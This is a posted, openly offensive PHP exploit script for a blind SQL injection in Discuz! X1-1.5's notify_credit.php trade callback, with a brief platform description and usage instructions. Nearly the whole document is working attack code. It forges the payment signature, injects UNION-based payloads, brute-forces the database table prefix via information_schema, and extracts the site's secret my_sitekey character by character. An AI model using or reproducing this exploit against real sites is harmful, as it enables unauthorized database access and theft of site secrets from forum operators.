Discuz! X1-1.5 notify_credit.php SQL盲注EXP

Discuz!X是康盛创想推出的一个以社区为基础的专业建站平台，让论坛、个人空间、门户、群组、应用开放平台充分融合于一体，帮助网站实现一站式服务。Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit

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by :toby57
mail: toby57@163.com
team: http://www.wolvez.org
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<?php
    print_r('
    +---------------------------------------------------------------------------+
    Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit
    by toby57    2010.11.05
    mail: toby57 at 163 dot com
    team: http://www.wolvez.org
    +---------------------------------------------------------------------------+
    ');
    if ($argc < 2) {
        print_r('
    +---------------------------------------------------------------------------+
    Usage: php '.$argv[0].' url [pre]
    Example:
    php '.$argv[0].' http://localhost/
    php '.$argv[0].' http://localhost/ xss_
    +---------------------------------------------------------------------------+
    ');
        exit;
    }
    error_reporting(7);
    ini_set('max_execution_time', 0);
    $url = $argv[1];
    $pre = $argv[2]?$argv[2]:'pre_';
    $target = parse_url($url);
    extract($target);
    $path .= '/api/trade/notify_credit.php';
    $hash = array();
    $hash = array_merge($hash, range(48, 57));
    $hash = array_merge($hash, range(97, 102));
   
    $tmp_expstr = "'";
    $res = send();
    if(strpos($res,'SQL syntax')==false){var_dump($res);die('Oooops.I can NOT hack it.');}
    preg_match('/FROM\s([a-zA-Z_]+)forum_order/',$res,$match);
    if($match[1])$pre = $match[1];
    $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE ''='";
    $res = send();
    if(strpos($res,"doesn't exist")!==false){
        echo "Table_pre is WRONG!\nReady to Crack It.Please Waiting..\n";
        for($i = 1;$i<20;$i++){
        $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND LENGTH(REPLACE(table_name,'forum_post_tableid',''))=$i AND ''='";
        $res = send();
   
        if(strpos($res,'SQL syntax')!==false){ 
   
        $pre = '';
        $hash2 = array();
        $hash2 = array_merge($hash2, range(48, 57));
        $hash2 = array_merge($hash2, range(97, 122));
        $hash2[] = 95;
        for($j = 1;$j <= $i; $j++){
        for ($k = 0; $k <= 255; $k++) {
        if(in_array($k, $hash2)) {
        $char = dechex($k);
        $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM information_schema.columns WHERE table_schema=database() AND table_name LIKE '%forum_post_tableid%' AND MID(REPLACE(table_name,'forum_post_tableid',''),$j,1)=0x{$char} AND ''='";
        $res = send();
        if(strpos($res,'SQL syntax')!==false){
            echo chr($k);
            $pre .= chr($k);break;
        }
        }
        }   
        }   
        if(strlen($pre)){echo "\nCracked...Table_Pre:".$pre."\n";break;}else{die('GET Table_pre Failed..');};
        }    }    };
    echo "Please Waiting....\n";
    $sitekey = '';
    for($i = 1;$i <= 32; $i++){
      for ($k = 0; $k <= 255; $k++) {
        if(in_array($k, $hash)) {
        $char = dechex($k);
    $tmp_expstr = "' UNION ALL SELECT 0,1,0,0,0,0,0,0,0,0 FROM {$pre}common_setting WHERE skey=0x6D795F736974656B6579 AND MID(svalue,{$i},1)=0x{$char} AND ''='";
    $res = send();
    if(strpos($res,'SQL syntax')!==false){
            echo chr($k);
            $sitekey .= chr($k);break;
    }}}}
    if(strlen($sitekey)!=32)die("\n".'can NOT get the my_sitekey..');
    echo "\n".'Exploit Successfully.'."\nmy_sitekey:{$sitekey}";
    exit;
   
    function sign($exp_str){
        return md5("attach=tenpay&mch_vno={$exp_str}&retcode=0&key=");
    }
   
    function send(){
        global $host, $path, $tmp_expstr;
       
        $expdata = "attach=tenpay&retcode=0&trade_no=%2527&mch_vno=".urlencode(urlencode($tmp_expstr))."&sign=".sign($tmp_expstr);
        $data  = "POST $path HTTP/1.1\r\n";
        $data .= "Host: $host\r\n";
        $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $data .= "Content-Length: ".strlen($expdata)."\r\n";
        $data .= "Connection: Close\r\n\r\n";
        $data .= $expdata;
        $fp = fsockopen($host, 80);
        fputs($fp, $data);
        $resp = '';
        while ($fp && !feof($fp))
            $resp .= fread($fp, 1024);
        return $resp;
    }  
?>